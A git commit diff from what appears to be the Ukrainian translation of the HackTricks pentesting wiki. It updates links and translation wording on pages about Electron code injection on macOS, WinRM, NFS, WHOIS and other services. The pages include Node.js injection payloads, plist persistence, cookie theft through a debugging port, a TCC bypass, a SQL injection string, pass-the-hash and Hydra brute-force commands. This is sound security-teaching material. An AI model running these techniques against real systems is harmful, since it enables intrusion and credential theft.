Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:56:17 +00:00
parent 8d262bd2f3
commit c2872b338b
37 changed files with 450 additions and 445 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -2,26 +2,26 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Якщо ви не знаєте, що таке Electron, ви можете знайти [**багато інформації тут**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Але поки просто знайте, що Electron запускає **node**.\
Якщо ви не знаєте, що таке Electron, ви можете знайти [**багато інформації тут**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Але поки просто знайте, що Electron запускає **node**.\
А node має деякі **параметри** та **змінні середовища**, які можна використовувати для **виконання іншого коду** окрім вказаного файлу.
### Electron Fuses
Ці техніки будуть обговорені далі, але в останні часи Electron додав кілька **параметрів безпеки для їх запобігання**. Це [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) і це ті, що використовуються для **запобігання** завантаженню Electron додатків в macOS **произвольного коду**:
Ці техніки будуть обговорені далі, але в останні часи Electron додав кілька **параметрів безпеки для їх запобігання**. Це [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) і це ті, що використовуються для **запобігання** завантаженню довільного коду в Electron додатках на macOS:
- **`RunAsNode`**: Якщо вимкнено, заважає використанню змінної середовища **`ELECTRON_RUN_AS_NODE`** для ін'єкції коду.
- **`RunAsNode`**: Якщо вимкнено, запобігає використанню змінної середовища **`ELECTRON_RUN_AS_NODE`** для ін'єкції коду.
- **`EnableNodeCliInspectArguments`**: Якщо вимкнено, параметри, такі як `--inspect`, `--inspect-brk`, не будуть враховані. Уникаючи таким чином ін'єкції коду.
- **`EnableEmbeddedAsarIntegrityValidation`**: Якщо увімкнено, завантажений **`asar`** **файл** буде **перевірений** macOS. **Запобігаючи** таким чином **ін'єкції коду** шляхом модифікації вмісту цього файлу.
- **`OnlyLoadAppFromAsar`**: Якщо це увімкнено, замість пошуку завантаження в наступному порядку: **`app.asar`**, **`app`** і нарешті **`default_app.asar`**. Він перевірятиме та використовуватиме лише app.asar, таким чином забезпечуючи, що при **поєднанні** з параметром **`embeddedAsarIntegrityValidation`** неможливо **завантажити неперевірений код**.
- **`OnlyLoadAppFromAsar`**: Якщо це увімкнено, замість того, щоб шукати завантаження в наступному порядку: **`app.asar`**, **`app`** і нарешті **`default_app.asar`**. Він перевірятиме та використовуватиме лише app.asar, таким чином забезпечуючи, що при **поєднанні** з параметром **`embeddedAsarIntegrityValidation`** неможливо **завантажити неперевірений код**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Якщо увімкнено, процес браузера використовує файл під назвою `browser_v8_context_snapshot.bin` для свого V8 знімка.
Ще один цікавий параметр, який не запобігатиме ін'єкції коду:
- **EnableCookieEncryption**: Якщо увімкнено, сховище куків на диску шифрується за допомогою криптографічних ключів рівня ОС.
- **EnableCookieEncryption**: Якщо увімкнено, сховище куків на диску шифрується за допомогою криптографічних ключів на рівні ОС.
### Checking Electron Fuses
### Перевірка Electron Fuses
Ви можете **перевірити ці параметри** з програми за допомогою:
```bash
@ -39,14 +39,14 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Модифікація електронних запобіжників
Як згадують [**документи**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), конфігурація **електронних запобіжників** налаштовується всередині **бінарного файлу Electron**, який містить десь рядок **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
Як згадують [**документи**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), конфігурація **Electron Fuses** налаштовується всередині **бінарного файлу Electron**, який містить десь рядок **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
У macOS додатках це зазвичай знаходиться в `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
Ви можете завантажити цей файл на [https://hexed.it/](https://hexed.it/) і шукати попередній рядок. Після цього рядка ви можете побачити в ASCII число "0" або "1", що вказує, чи кожен запобіжник вимкнений або увімкнений. Просто змініть шістнадцятковий код (`0x30` - це `0`, а `0x31` - це `1`), щоб **змінити значення запобіжників**.
Ви можете завантажити цей файл у [https://hexed.it/](https://hexed.it/) і шукати попередній рядок. Після цього рядка ви можете побачити в ASCII число "0" або "1", що вказує, чи кожен запобіжник вимкнений чи увімкнений. Просто змініть шістнадцятковий код (`0x30` - це `0`, а `0x31` - це `1`), щоб **змінити значення запобіжників**.
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
@ -57,14 +57,14 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
Можуть бути **зовнішні JS/HTML файли**, які використовує Electron App, тому зловмисник може впровадити код у ці файли, підпис яких не буде перевірятися, і виконати довільний код в контексті програми.
> [!CAUTION]
> Однак на даний момент існує 2 обмеження:
> Однак на даний момент є 2 обмеження:
>
> - Дозвіл **`kTCCServiceSystemPolicyAppBundles`** є **необхідним** для зміни програми, тому за замовчуванням це більше не можливо.
> - Скомпільований файл **`asap`** зазвичай має запобіжники **`embeddedAsarIntegrityValidation`** `та` **`onlyLoadAppFromAsar`** `увімкненими`
>
> Це ускладнює (або робить неможливим) цей шлях атаки.
Зверніть увагу, що можна обійти вимогу **`kTCCServiceSystemPolicyAppBundles`**, скопіювавши програму в інший каталог (наприклад, **`/tmp`**), перейменувавши папку **`app.app/Contents`** на **`app.app/NotCon`**, **змінивши** файл **asar** з вашим **шкідливим** кодом, перейменувавши його назад на **`app.app/Contents`** і виконуючи його.
Зверніть увагу, що можна обійти вимогу **`kTCCServiceSystemPolicyAppBundles`**, скопіювавши програму в інший каталог (наприклад, **`/tmp`**), перейменувавши папку **`app.app/Contents`** на **`app.app/NotCon`**, **змінивши** файл **asar** з вашим **шкідливим** кодом, перейменувавши його назад на **`app.app/Contents`** і виконавши його.
Ви можете розпакувати код з файлу asar за допомогою:
```bash
@ -114,7 +114,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
```
## RCE з `NODE_OPTIONS`
Ви можете зберегти корисне навантаження в іншому файлі та виконати його:
Ви можете зберегти payload в іншому файлі та виконати його:
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
@ -127,7 +127,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
>
> Якщо ви не встановите **`ELECTRON_RUN_AS_NODE`**, ви отримаєте **помилку**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
### Впровадження з App Plist
### Ін'єкція з App Plist
Ви можете зловживати цією змінною середовища в plist для підтримки постійності, додавши ці ключі:
```xml
@ -157,11 +157,11 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
> [!CAUTION]
> Якщо запобіжник **`EnableNodeCliInspectArguments`** вимкнено, додаток **ігноруватиме параметри node** (такі як `--inspect`) під час запуску, якщо змінна середовища **`ELECTRON_RUN_AS_NODE`** не встановлена, яка також буде **ігноруватися**, якщо запобіжник **`RunAsNode`** вимкнено.
>
> Однак ви все ще можете використовувати **електронний параметр `--remote-debugging-port=9229`**, але попереднє навантаження не спрацює для виконання інших процесів.
> Однак ви все ще можете використовувати **параметр electron `--remote-debugging-port=9229`**, але попередній payload не спрацює для виконання інших процесів.
Використовуючи параметр **`--remote-debugging-port=9222`**, можна вкрасти деяку інформацію з Electron App, таку як **історія** (з командами GET) або **куки** браузера (оскільки вони **дешифруються** всередині браузера і є **json-інтерфейс**, який їх надає).
Використовуючи параметр **`--remote-debugging-port=9222`**, можливо вкрасти деяку інформацію з Electron App, таку як **історія** (з командами GET) або **куки** браузера (оскільки вони **дешифруються** всередині браузера і є **json endpoint**, який їх надасть).
Ви можете дізнатися, як це зробити [**тут**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) і [**тут**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) і використовувати автоматичний інструмент [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) або простий скрипт, як:
Ви можете дізнатися, як це зробити [**тут**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) і [**тут**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) та використовувати автоматичний інструмент [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) або простий скрипт, як:
```python
import websocket
ws = websocket.WebSocket()
@ -187,17 +187,17 @@ print(ws.recv()
<true/>
</dict>
```
## TCC Bypass зловживанням старими версіями
## TCC Bypass abusing Older Versions
> [!TIP]
> Демон TCC з macOS не перевіряє виконувану версію програми. Тому, якщо ви **не можете інжектувати код в Electron додаток** за допомогою будь-якої з попередніх технік, ви можете завантажити попередню версію APP і інжектувати код в неї, оскільки вона все ще отримає привілеї TCC (якщо тільки Trust Cache не завадить цьому).
## Запуск не JS коду
## Run non JS Code
Попередні техніки дозволять вам запускати **JS код всередині процесу електронного додатку**. Однак пам'ятайте, що **дочірні процеси працюють під тим же профілем пісочниці**, що й батьківський додаток і **успадковують їх TCC дозволи**.\
Отже, якщо ви хочете зловживати правами доступу до камери або мікрофона, наприклад, ви можете просто **запустити інший бінар з процесу**.
Попередні техніки дозволять вам виконувати **JS код всередині процесу електронного додатку**. Однак пам'ятайте, що **дочірні процеси працюють під тим же профілем пісочниці**, що й батьківський додаток, і **успадковують їх TCC дозволи**.\
Отже, якщо ви хочете зловживати правами доступу до камери або мікрофона, наприклад, ви можете просто **виконати інший бінарний файл з процесу**.
## Автоматичне інжектування
## Automatic Injection
Інструмент [**electroniz3r**](https://github.com/r3ggi/electroniz3r) можна легко використовувати для **пошуку вразливих електронних додатків**, які встановлені, і інжектування коду в них. Цей інструмент спробує використати техніку **`--inspect`**:

View File

@ -13,11 +13,11 @@
PORT STATE SERVICE
113/tcp open ident
```
## **Перерахунок**
## **Перерахування**
### **Вручну - Отримати користувача/Визначити сервіс**
Якщо машина працює з сервісом ident та samba (445), і ви підключені до samba через порт 43218. Ви можете дізнатися, який користувач виконує сервіс samba, виконавши:
Якщо машина працює з сервісом ident та samba (445), і ви підключені до samba, використовуючи порт 43218. Ви можете дізнатися, який користувач виконує сервіс samba, виконавши:
![](<../images/image (843).png>)
@ -66,7 +66,7 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
## Автоматичні команди HackTricks
## HackTricks Автоматичні Команди
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.
Port_Number: 113 #Comma separated if there is more than one.
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -9,8 +9,8 @@
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
- Сервіс імен для реєстрації та розв'язання імен (порти: 137/udp та 137/tcp).
- Сервіс розподілу датаграм для без'єднаної комунікації (порт: 138/udp).
- Сесійний сервіс для орієнтованої на з'єднання комунікації (порт: 139/tcp).
- Сервіс розподілу датаграм для безконнектного зв'язку (порт: 138/udp).
- Сесійний сервіс для орієнтованого на з'єднання зв'язку (порт: 139/tcp).
### Name Service
@ -27,18 +27,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagram Distribution Service
NetBIOS датаграми дозволяють безконнектне спілкування через UDP, підтримуючи прямі повідомлення або трансляцію на всі мережеві імена. Ця служба використовує порт **138/udp**.
NetBIOS датаграми дозволяють безконнектну комунікацію через UDP, підтримуючи пряме повідомлення або трансляцію на всі мережеві імена. Ця служба використовує порт **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Сесійна служба
Для орієнтованих на з'єднання взаємодій, **Сесійна служба** полегшує розмову між двома пристроями, використовуючи **TCP** з'єднання через порт **139/tcp**. Сесія починається з пакета "Запит сесії" і може бути встановлена на основі відповіді. Служба підтримує більші повідомлення, виявлення помилок і відновлення, при цьому TCP обробляє управління потоком і повторну передачу пакетів.
Для орієнтованих на з'єднання взаємодій, **Сесійна служба** полегшує спілкування між двома пристроями, використовуючи **TCP** з'єднання через порт **139/tcp**. Сесія починається з пакета "Запит сесії" і може бути встановлена на основі відповіді. Служба підтримує більші повідомлення, виявлення помилок і відновлення, при цьому TCP обробляє управління потоком і повторну передачу пакетів.
Передача даних у межах сесії включає **Пакети повідомлень сесії**, при цьому сесії завершуються закриттям TCP з'єднання.
Передача даних у межах сесії включає **пакети повідомлень сесії**, при цьому сесії завершуються закриттям TCP з'єднання.
Ці служби є невід'ємною частиною функціональності **NetBIOS**, що забезпечує ефективну комунікацію та обмін ресурсами в мережі. Для отримання додаткової інформації про протоколи TCP та IP, зверніться до їх відповідних [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) та [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) сторінок.
Ці служби є невід'ємною частиною функціональності **NetBIOS**, що забезпечує ефективне спілкування та обмін ресурсами в мережі. Для отримання додаткової інформації про протоколи TCP та IP, зверніться до їх відповідних [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) та [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) сторінок.
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -6,7 +6,7 @@
Oracle database (Oracle DB) - це система управління реляційними базами даних (RDBMS) від корпорації Oracle (з [тут](https://www.techopedia.com/definition/8711/oracle-database)).
При перерахуванні Oracle першим кроком є спілкування з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
Коли ви перераховуєте Oracle, перший крок - поговорити з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
@ -30,7 +30,7 @@ Oracle database (Oracle DB) - це система управління реля
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Автоматичні команди
## Автоматичні команди HackTricks
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -6,7 +6,7 @@
Oracle database (Oracle DB) - це система управління реляційними базами даних (RDBMS) від корпорації Oracle (з [тут](https://www.techopedia.com/definition/8711/oracle-database)).
При перерахуванні Oracle першим кроком є спілкування з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
Коли ви перераховуєте Oracle, першим кроком є спілкування з TNS-Listener, який зазвичай знаходиться на стандартному порту (1521/TCP, -ви також можете отримати вторинні слухачі на 15221529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -11,7 +11,7 @@
PORT STATE SERVICE
43/tcp open whois?
```
## Перерахунок
## Перерахувати
Отримайте всю інформацію, яку сервіс whois має про домен:
```bash
@ -22,7 +22,7 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
![](<../images/image (301).png>)
Крім того, служба WHOIS завжди повинна використовувати **базу даних** для зберігання та витягування інформації. Отже, можливий **SQLInjection** може бути присутнім при **запиті** бази даних на основі інформації, наданої користувачем. Наприклад, виконавши: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` ви зможете **витягнути всі** **дані**, збережені в базі даних.
Крім того, служба WHOIS завжди повинна використовувати **базу даних** для зберігання та витягування інформації. Отже, можливий **SQLInjection** може бути присутнім при **запиті** бази даних на основі інформації, наданої користувачем. Наприклад, виконавши: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` ви зможете **витягнути всю** **інформацію**, збережену в базі даних.
## Shodan
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -9,7 +9,7 @@
Для отримання додаткової інформації перегляньте:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -15,22 +15,22 @@
### **Ініціювання сесії WinRM**
Щоб налаштувати PowerShell для WinRM, використовується командлет Microsoft `Enable-PSRemoting`, який налаштовує комп'ютер для прийому віддалених команд PowerShell. З підвищеним доступом PowerShell можна виконати наступні команди, щоб активувати цю функціональність і призначити будь-який хост як довірений:
Щоб налаштувати PowerShell для WinRM, використовується cmdlet Microsoft `Enable-PSRemoting`, який налаштовує комп'ютер для прийому віддалених команд PowerShell. З підвищеним доступом PowerShell можна виконати наступні команди, щоб активувати цю функціональність і призначити будь-який хост як довірений:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Цей підхід передбачає додавання символу підстановки до конфігурації `trustedhosts`, крок, який вимагає обережного розгляду через його наслідки. Також зазначено, що може бути необхідно змінити тип мережі з "Public" на "Work" на машині зловмисника.
Цей підхід передбачає додавання підстановочного знака до конфігурації `trustedhosts`, крок, який вимагає обережного розгляду через його наслідки. Також зазначено, що може бути необхідно змінити тип мережі з "Public" на "Work" на машині зловмисника.
Крім того, WinRM можна **активувати віддалено** за допомогою команди `wmic`, що демонструється наступним чином:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість у керуванні Windows-машинами з відстані.
Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані.
### Перевірте, чи налаштовано
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цілі. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
Щоб перевірити налаштування вашої атакуючої машини, використовується команда `Test-WSMan`, щоб перевірити, чи правильно налаштовано WinRM на цільовій машині. Виконавши цю команду, ви повинні очікувати отримати деталі щодо версії протоколу та wsmid, що вказує на успішну конфігурацію. Нижче наведені приклади, що демонструють очікуваний вихід для налаштованої цілі в порівнянні з неналаштованою:
- Для цілі, яка **налаштована** правильно, вихід виглядатиме приблизно так:
```bash
@ -40,7 +40,7 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- Навпаки, для цілі, **яка не** налаштована для WinRM, це призведе до відсутності такої детальної інформації, що підкреслює відсутність належної конфігурації WinRM.
- Навпаки, для цілі, **не** налаштованої для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належної конфігурації WinRM.
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
Ви також можете **виконати команду вашої поточної PS консолі через** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
Ви також можете **виконати команду вашої поточної PS консолі за допомогою** _**Invoke-Command**_. Припустимо, що у вас локально є функція під назвою _**enumeration**_, і ви хочете **виконати її на віддаленому комп'ютері**, ви можете зробити:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -146,9 +146,9 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Щоб використовувати evil-winrm для підключення до **IPv6 адреси**, створіть запис у _**/etc/hosts**_, встановивши **доменне ім'я** для IPv6 адреси та підключіться до цього домену.
Щоб використовувати evil-winrm для підключення до **IPv6 адреси**, створіть запис у _**/etc/hosts**_, встановивши **ім'я домену** для IPv6 адреси та підключіться до цього домену.
### Передача хешу з evil-winrm
### Передайте хеш за допомогою evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
@ -224,7 +224,7 @@ end
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Автоматичні Команди
## HackTricks Automatic Commands
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
@ -254,11 +254,13 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -16,11 +16,11 @@
```
### Версії
- **NFSv2**: Ця версія відзначається широкою сумісністю з різними системами, що підкреслює її значення завдяки початковим операціям, які переважно виконуються через UDP. Будучи **найстарішою** у серії, вона заклала основу для майбутніх розробок.
- **NFSv2**: Ця версія відзначається широкою сумісністю з різними системами, що підкреслює її значення завдяки початковим операціям переважно через UDP. Будучи **найстарішою** у серії, вона заклала основу для майбутніх розробок.
- **NFSv3**: Введена з рядом покращень, NFSv3 розширила можливості свого попередника, підтримуючи змінні розміри файлів і пропонуючи покращені механізми звітності про помилки. Незважаючи на свої досягнення, вона стикалася з обмеженнями в повній зворотній сумісності з клієнтами NFSv2.
- **NFSv4**: Важлива версія в серії NFS, NFSv4 представила набір функцій, призначених для модернізації обміну файлами через мережі. Серед помітних покращень - інтеграція Kerberos для **високої безпеки**, можливість проходження через брандмауери та роботи через Інтернет без необхідності в портмапперах, підтримка списків контролю доступу (ACL) та впровадження операцій на основі стану. Її покращення продуктивності та впровадження протоколу збереження стану вирізняють NFSv4 як важливий крок вперед у технологіях обміну файлами в мережі.
- **NFSv4**: Важлива версія в серії NFS, NFSv4 представила набір функцій, розроблених для модернізації обміну файлами через мережі. Серед помітних покращень - інтеграція Kerberos для **високої безпеки**, можливість проходження через брандмауери та роботи через Інтернет без необхідності в портмапперах, підтримка списків контролю доступу (ACL) та впровадження операцій на основі стану. Її покращення продуктивності та впровадження протоколу збереження стану вирізняють NFSv4 як важливий крок вперед у технологіях обміну файлами в мережі.
Кожна версія NFS була розроблена з метою задовольнити еволюційні потреби мережевих середовищ, поступово покращуючи безпеку, сумісність і продуктивність.
@ -78,7 +78,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
- **Власність файлів root (`no_root_squash`):** З цим налаштуванням файли, створені користувачем root, зберігають свій оригінальний UID/GID 0, ігноруючи принцип найменших привілеїв і потенційно надаючи надмірні дозволи.
- **Несквашування всіх користувачів (`no_all_squash`):** Ця опція забезпечує збереження ідентичностей користувачів по всій системі, що може призвести до проблем з дозволами та контролем доступу, якщо не буде належним чином оброблено.
- **Несквашування всіх користувачів (`no_all_squash`):** Ця опція забезпечує збереження ідентичностей користувачів по всій системі, що може призвести до проблем з дозволами та контролем доступу, якщо не буде правильно оброблено.
## Підвищення привілеїв за допомогою неправильних налаштувань NFS
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -16,23 +16,23 @@ PORT STATE SERVICE REASON
```
### Різні DNS-сервери
- **DNS Root Servers**: Це сервери на вершині ієрархії DNS, які керують доменами верхнього рівня і втручаються лише у випадку, якщо сервери нижчого рівня не відповідають. Операцію цих серверів контролює Інтернет-корпорація з присвоєння імен та номерів (**ICANN**), загальна кількість яких становить 13.
- **Authoritative Nameservers**: Ці сервери мають остаточне слово щодо запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається кореневим серверам.
- **Non-authoritative Nameservers**: Не маючи власності на зони DNS, ці сервери збирають інформацію про домени через запити до інших серверів.
- **DNS Root Servers**: Це сервери, які знаходяться на вершині ієрархії DNS, керуючи доменами верхнього рівня і втручаючись лише у випадку, якщо сервери нижчого рівня не відповідають. Операцією цих серверів керує Інтернет-корпорація з присвоєння імен та номерів (**ICANN**), загальна кількість яких становить 13.
- **Authoritative Nameservers**: Ці сервери мають остаточне слово щодо запитів у своїх призначених зонах, надаючи остаточні відповіді. Якщо вони не можуть надати відповідь, запит передається на кореневі сервери.
- **Non-authoritative Nameservers**: Не маючи права власності на зони DNS, ці сервери збирають інформацію про домени через запити до інших серверів.
- **Caching DNS Server**: Цей тип сервера запам'ятовує відповіді на попередні запити на певний час, щоб прискорити час відповіді на майбутні запити, при цьому тривалість кешу визначається авторитетним сервером.
- **Forwarding Server**: Виконуючи просту роль, пересилальні сервери просто передають запити на інший сервер.
- **Resolver**: Інтегровані в комп'ютери або маршрутизатори, резолвери виконують розв'язання імен локально і не вважаються авторитетними.
## Перерахування
### **Захоплення банера**
### **Banner Grabbing**
У DNS немає банерів, але ви можете отримати магічний запит для `version.bind. CHAOS TXT`, який працюватиме на більшості BIND nameserver.\
Ви можете виконати цей запит, використовуючи `dig`:
```bash
dig version.bind CHAOS TXT @DNS
```
Крім того, інструмент [`fpdns`](https://github.com/kirei/fpdns) також може визначити відбиток сервера.
